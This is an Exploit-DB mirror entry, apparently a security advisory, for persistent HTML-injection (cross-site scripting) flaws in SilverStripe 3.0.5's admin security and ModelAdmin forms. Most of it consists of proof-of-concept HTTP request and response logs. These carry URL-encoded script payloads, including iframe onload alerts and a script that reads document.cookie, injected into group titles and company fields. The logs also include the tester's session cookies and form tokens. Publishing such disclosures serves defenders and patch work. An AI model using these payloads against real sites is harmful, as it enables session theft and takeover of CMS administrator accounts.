bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/exploits/php/webapps/38780.txt
Offensive Security b4c96a5864 DB: 2021-09-03 
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

413 lines
No EOL
17 KiB
Text
Raw Blame History

source: https://www.securityfocus.com/bid/62782/info
SilverStripe is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.
SilverStripe 3.0.5 is vulnerable; other versions may also be affected.
Proof of Concept:
=================
1.1
The first persistent input validation web vulnerability can be exploited
by remote attackers with low privileged application user accounts and
low required user interaction. For demonstration or reproduce ...
PoC: Groups & Rollen (Roles) - Print
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
lang="en"><head>
<title>SilverStripe - Sicherheit</title>
<link rel="stylesheet" type="text/css"
href="/framework/css/GridField_print.css?m=1346228458">
</head>
<body onload="window.print();">
<h3>SilverStripe - Sicherheit</h3>
<table>
<thead>
<tr><th>Vorname</th><th>Nachname</th><th>E-Mail</th></tr>
</thead>
<tbody>
</tbody>
</table>
<p>
Gedruckt am 11:44pm, 22/09/2013
<br>
Gedruckt von a%20>"<iframe src="a" onload="alert("BKM")<" a%20=""
a%20<="">>"<iframe src=a onload=alert("BKM")<
</p>
</body>
</html>
</iframe></p></body></html>
POST
http://www.example.com/admin/security/EditForm/field/Groups/item/new/ItemEditForm
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ]
Content Size[20] Mime Type[text/html]
Request Headers:
Host[www.example.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Pjax[CurrentForm,Breadcrumbs]
X-Requested-With[XMLHttpRequest]
Referer[http://www.example.com/admin/security/EditForm/field/Groups/item/new]
Content-Length[336]
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1;
__utmb=1.8.10.1379847695; __utmc=1;
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1;
cms-panel-collapsed-cms-content-tools-CMSPagesController=true;
cms-panel-collapsed-cms-menu=false;
cms-panel-collapsed-cms-content-tools-ModelAdmin=false;
__utma=1.1551299670.1379847854.1379847854.1379847854.1;
__utmc=1;
__utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
cms-panel-collapsed-cms-content-tools-AssetAdmin=true;
cms-panel-collapsed-cms-content-tools-CMSMain=false;
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
Post Data:
Title[a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(%22BKM%22)%3C++++a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(%22BKM%22)%3C]
ParentID[]
ID[]
SecurityID[1d6ca7e871bd6ec855f9409e25e030359c5b435f]
action_doSave[1]
BackURL[http%3A%2F%2Fwww.example.com%2Fadmin%2Fsecurity%2FEditForm%2Ffield%2FGroups%2Fitem%2Fnew%2F]
Response Headers:
Server[nginx]
Date[Sun, 22 Sep 2013 11:44:20 GMT]
Content-Type[text/html; charset=utf-8]
Connection[keep-alive]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-cache, max-age=0, must-revalidate]
Pragma[no-cache]
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:20 GMT; path=/;
httponly]
X-ControllerURL[admin/security/EditForm/field/Groups/item/4]
X-Pjax[CurrentForm,Breadcrumbs]
X-Controller[SecurityAdmin]
X-Title[SilverStripe - Sicherheit]
X-Include-JS[/assets/_combinedfiles/lib.js?m=1379847629,/framework/thirdparty/tinymce/tiny_mce_gzip.php?m=1346228525&js=1&
plugins=contextmenu%2Ctable%2Cemotions%2Cpaste%2Cspellchecker%2Cmedia%2Cfullscreen
%2Cinlinepopups&themes=advanced&languages=de&diskcache=true&src=false,/assets/_combinedfiles/leftandmain.js?
m=1379847630,/framework/admin/javascript/SecurityAdmin.js?m=1346228457,/framework/javascript/PermissionCheckboxSetField.js?m=1346228484]
X-Include-CSS[/framework/admin/thirdparty/jquery-notice/jquery.notice.css?m=1346228458,/framework/thirdparty/jquery-ui-themes/smoothness/jquery-ui.css?
m=1346228525,/framework/admin/thirdparty/chosen/chosen/chosen.css?m=1346228457,/framework/thirdparty/jstree/themes/apple/style.css?
m=1346228525,/framework/css/TreeDropdownField.css?m=1346228458,/framework/admin/css/screen.css?m=1346228456,/framework/css/GridField.css?m=1346228458]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[20]
Status: 200[OK]
GET http://www.example.com/admin/security/EditForm/field/Groups/item/4
Load Flags[LOAD_BACKGROUND ]
Content Size[3966] Mime Type[text/html]
Request Headers:
Host[www.example.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
X-Pjax[CurrentForm,Breadcrumbs]
X-Requested-With[XMLHttpRequest]
Referer[http://www.example.com/admin/security/EditForm/field/Groups/item/4]
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1;
__utmb=1.8.10.1379847695; __utmc=1;
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1;
cms-panel-collapsed-cms-content-tools-CMSPagesController=true;
cms-panel-collapsed-cms-menu=false;
cms-panel-collapsed-cms-content-tools-ModelAdmin=false;
__utma=1.1551299670.1379847854.1379847854.1379847854.1; __utmc=1;
__utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=
organic|utmctr=(not%20provided);
cms-panel-collapsed-cms-content-tools-AssetAdmin=true;
cms-panel-collapsed-cms-content-tools-CMSMain=false;
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]
Connection[keep-alive]
Response Headers:
Server[nginx]
Date[Sun, 22 Sep 2013 11:44:21 GMT]
Content-Type[text/html; charset=utf-8]
Connection[keep-alive]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-cache, max-age=0, must-revalidate]
Pragma[no-cache]
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:21 GMT; path=/;
httponly]
X-Controller[SecurityAdmin]
X-Title[SilverStripe - Sicherheit]
X-Include-JS[/assets/_combinedfiles/lib.js?m=1379847629,/framework/thirdparty/tinymce/tiny_mce_gzip.php?m=1346228525&js=1&
plugins=contextmenu%2Ctable%2Cemotions%2Cpaste%2Cspellchecker%2Cmedia%2Cfullscreen
%2Cinlinepopups&themes=advanced&languages=de&diskcache=true&src=false,/assets/_combinedfiles/leftandmain.js?
m=1379847630,/framework/admin/javascript/SecurityAdmin.js?m=1346228457,/framework/javascript/PermissionCheckboxSetField.js?m=1346228484]
X-Include-CSS[/framework/admin/thirdparty/jquery-notice/jquery.notice.css?m=
1346228458,/framework/thirdparty/jquery-ui-themes/smoothness/jquery-ui.css?m=1346228525,/framework/admin/thirdparty/chosen/chosen/chosen.css?
m=1346228457,/framework/thirdparty/jstree/themes/apple/style.css?m=1346228525,/framework/css/TreeDropdownField.css?m=1346228458,
/framework/admin/css/screen.css?m=1346228456,/framework/css/GridField.css?m=1346228458,/framework/css/CheckboxSetField.css?m=1346228458]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[3966]
Status: 200[OK]
GET
http://www.example.com/admin/security/EditForm/field/Groups/item/4/ItemEditForm/
field/Members?Title=a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert
(%22BKM%22)%3C++++a%252&ParentID=&gridfield_relationsearch=&Members%5B
GridState%5D=%7B%22GridFieldAddRelation%22%3A%5B%5D%2C%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2C%22
GridFieldFilterHeader%22%3A%7B%22Columns%22%3A%5B%5D%7D%2C%22GridFieldPaginator%22%3A%7B%22currentPage%22%3A1%7D%2C%22
GridFieldSearchRelation%22%3A%5B%5D%7D&filter%5BFirstName%5D=&filter%5BSurname%5D=&filter%5BEmail
%5D=&ID=4&SecurityID=1d6ca7e871bd6ec855f9409e25e030359c5b435f&action_gridFieldAlterAction%3FStateID%3D523ed8157c4b68_95954854=Drucken
<==
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[378]
Mime Type[text/html]
Request Headers:
Host[www.example.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://www.example.com/admin/security/EditForm/field/Groups/item/4]
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1;
__utmb=1.8.10.1379847695; __utmc=1;
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1; cms-panel-
collapsed-cms-content-tools-CMSPagesController=true;
cms-panel-collapsed-cms-menu=false;
cms-panel-collapsed-cms-content-tools-ModelAdmin=false;
__utma=1.1551299670.1379847854.1379847854.1379847854.1;
__utmc=1;
__utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
cms-panel-collapsed-cms-content-tools-AssetAdmin=true;
cms-panel-collapsed-cms-content-tools-CMSMain=false;
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]
Connection[keep-alive]
Response Headers:
Server[nginx]
Date[Sun, 22 Sep 2013 11:44:26 GMT]
Content-Type[text/html; charset=utf-8]
Connection[keep-alive]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-cache, max-age=0, must-revalidate]
Pragma[no-cache]
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:26 GMT; path=/;
httponly]
X-Controller[SecurityAdmin]
X-Title[SilverStripe - Sicherheit]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[378]
Status: 200[OK]
GET
http://www.example.com/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/[PERSISTENT
INJECTED SCRIPT CODE AS PATH!]
Load Flags[LOAD_DOCUMENT_URI ]
Content Size[20]
Mime Type[text/html]
Request Headers:
Host[www.example.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://www.example.com/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/
Members?Title=a%2520%3C%2F%3E%3E%22%3Ciframe+src%3Da+onload
%3Dalert(%22BKM%22)%3C++++a%252&ParentID=&gridfield_relationsearch=&Members%5B
GridState%5D=%7B%22GridFieldAddRelation%22%3A%5B%5D%2C%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2C%22
GridFieldFilterHeader%22%3A%7B%22Columns%22%3A%5B%5D%7D%2C%22GridFieldPaginator%22%3A%7B%22currentPage%22%3A1%7D%2C%22
GridFieldSearchRelation%22%3A%5B%5D%7D&filter%5BFirstName%5D=&filter%5BSurname%5D=&filter%5BEmai%5D=&ID=4&
SecurityID=1d6ca7e871bd6ec855f9409e25e030359c5b435f&action_gridFieldAlterAction%3FStateID%3D523ed8157c4b68_95954854=Drucken]
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1;
__utmb=1.8.10.1379847695; __utmc=1;
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4;
PastMember=1;
cms-panel-collapsed-cms-content-tools-CMSPagesController=true;
cms-panel-collapsed-cms-menu=false;
cms-panel-collapsed-cms-content-tools-ModelAdmin=false;
__utma=1.1551299670.1379847854.1379847854.1379847854.1; __utmc=1;
__utmz=1.1379847854.1.1.utmcsr=google|
utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
cms-panel-collapsed-cms-content-tools-AssetAdmin=true;
cms-panel-collapsed-cms-content-tools-CMSMain=false;
cms-panel-collapsed-cms-content-tools-CMSPageHistoryController=false]
Connection[keep-alive]
Response Headers:
Server[nginx]
Date[Sun, 22 Sep 2013 11:44:27 GMT]
Content-Type[text/html; charset=utf-8]
Connection[keep-alive]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-cache, max-age=0, must-revalidate]
Pragma[no-cache]
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:44:27 GMT; path=/;
httponly]
X-Controller[SecurityAdmin]
X-Title[SilverStripe - Sicherheit]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[20]
PoC: (Client-Side Link)
http://www.example.com/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/Members
?Title=a%25[PERSISTENT INJECTED SCRIPT
CODE!]%3C++++a%252&ParentID=&gridfield_relationsearch=&
Members%5BGridState%5D=%7B%22GridFieldAddRelation%22%3A%5B%5D%2C%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2
C%22GridFieldFilterHeader%22%3A%7B%22Columns%22%3A%5B%5D%7D%2C%22GridFieldPaginator%22%3A%7B%22
currentPage%22%3A1%7D%2C%22GridFieldSearchRelation%22%3A%5B%5D%7D&filter%5BFirstName%5D=&filter%5BSurname%5D=&filter%5BEmail
%5D=&ID=4&SecurityID=1d6ca7e871bd6ec855f9409e25e030359c5b435f&action_gridFieldAlterAction%3FStateID%3D523ed8157c4b68_95954854=Drucken
Reference(s):
http://ss3.demo.silverstripe.org/admin/security/show/root#Root_Roles
http://ss3.demo.silverstripe.org/admin/security/EditForm/field/Groups/item/1/edit
http://www.example.com/admin/security/EditForm/field/Roles/item/new
http://www.example.com/admin/security/EditForm/field/Groups/item/new/ItemEditForm
http://www.example.com/admin/security/EditForm/field/Groups/item/4
http://www.example.com/admin/security/EditForm/field/Groups/item/4/ItemEditForm/field/x
1.2
The secound persistent input validation web vulnerability and filter
bypass vulnerability can be exploited by remote attackers
with low privileged application user accounts with low required user
interaction. For demonstration or reproduce ...
PoC: Model Admin > Add Company > Edit Company
<span class="message validation">'>"<[PERSISTENT INJECTED SCRIPT
CODE!]>' ist kein numerischer Wert,
nur nummerische Werte sind in diesem Feld erlaubt</span>
</div>
<div id="CEO" class="field text">
<label class="left" for="Form_ItemEditForm_CEO">CEO</label>
<div class="middleColumn">
<input type="text" name="CEO" value=">"<[PERSISTENT INJECTED SCRIPT
CODE!])</script>" class="text" id="Form_ItemEditForm_CEO" />
</div>
Note: The vulnerability is located in the message validation filter
exception-handling.
--- PoC Session Request Logs ---
Status: 200[OK]
POST
http://www.example.com/admin/test/Company/EditForm/field/Company/item/new/ItemEditForm
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ]
Content Size[1309]
Mime Type[text/html]
Request Headers:
Host[www.example.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101
Firefox/23.0]
Accept[*/*]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Pjax[CurrentForm,Breadcrumbs]
X-Requested-With[XMLHttpRequest]
Referer[http://www.example.com/admin/test/Company/EditForm/field/Company/item/new?q[Name]=&q[Category]=&q[Revenue]=&q[CEO]=]
Content-Length[560]
Cookie[__utma=1.1338660565.1379847695.1379847695.1379847695.1;
__utmb=1.7.10.1379847695; __utmc=1;
__utmz=1.1379847695.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided);
PHPSESSID=3cdf3fce42b710fc8e1da69d18cc0dc4; PastMember=1;
cms-panel-collapsed-cms-content-tools-CMSPagesController=true;
cms-panel-collapsed-cms-menu=false;
cms-panel-collapsed-cms-content-tools-ModelAdmin=false;
__utma=1.1551299670.1379847854.1379847854.1379847854.1;
__utmb=1.5.10.1379847854; __utmc=1;
__utmz=1.1379847854.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
Post Data:
Name[Evolution+Security]
Category[TEST+PP]
Revenue[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com%3E%3Cscript+alert(document.cookie)%3C%2Fscript%3E]
<= [PERSISTENT INJECTED TEST CODES!]
CEO[%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com%3E%3Cscript+alert(document.cookie)%3C%2Fscript%3E]
RelationFieldsTestPageID[]
GridFieldTestPageHasOneID[]
SecurityID[1d6ca7e871bd6ec855f9409e25e030359c5b435f]
action_doSave[1]
BackURL
[http%3A%2F%2Fwww.example.com%2Fadmin%2Ftest%2FCompany%2FEditForm%2Ffield%2FCompany%2Fitem%2F
new%3Fq%5BName%5D%3D%26q%5BCategory%5D%3D%26q%5BRevenue%5D%3D%26q%5BCEO%5D%3D%2F]
Response Headers:
Server[nginx]
Date[Sun, 22 Sep 2013 11:20:33 GMT]
Content-Type[text/html]
Connection[keep-alive]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-cache, max-age=0, must-revalidate]
Pragma[no-cache]
Set-Cookie[PastMember=1; expires=Sat, 21-Dec-2013 11:20:32 GMT; path=/;
httponly]
X-Controller[TestModelAdmin]
X-Title[SilverStripe - Test ModelAdmin]
X-Include-JS[/assets/_combinedfiles/lib.js?m=1379847629,/framework/thirdparty/tinymce/tiny_mce_gzip.php?m=1346228525&js=1&
plugins=contextmenu%2Ctable%2Cemotions%2Cpaste%2Cspellchecker%2Cmedia%2Cfullscreen
%2Cinlinepopups&themes=advanced&languages=de&diskcache=true&src=false,/assets/_combinedfiles/leftandmain.js?
m=1379847630,/framework/admin/javascript/ModelAdmin.js?m=1346228457]
X-Include-CSS[/framework/admin/thirdparty/jquery-notice/jquery.notice.css?m=1346228458,
/framework/thirdparty/jquery-ui-themes/smoothness/jquery-ui.css?m=1346228525,/framework/admin/thirdparty/chosen/chosen/chosen.css?
m=1346228457,/framework/thirdparty/jstree/themes/apple/style.css?m=1346228525,/framework/css/TreeDropdownField.css?m=1346228458,
/framework/admin/css/screen.css?m=1346228456,/framework/css/GridField.css?m=1346228458]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[1309]
Reference in a new issue View git blame Copy permalink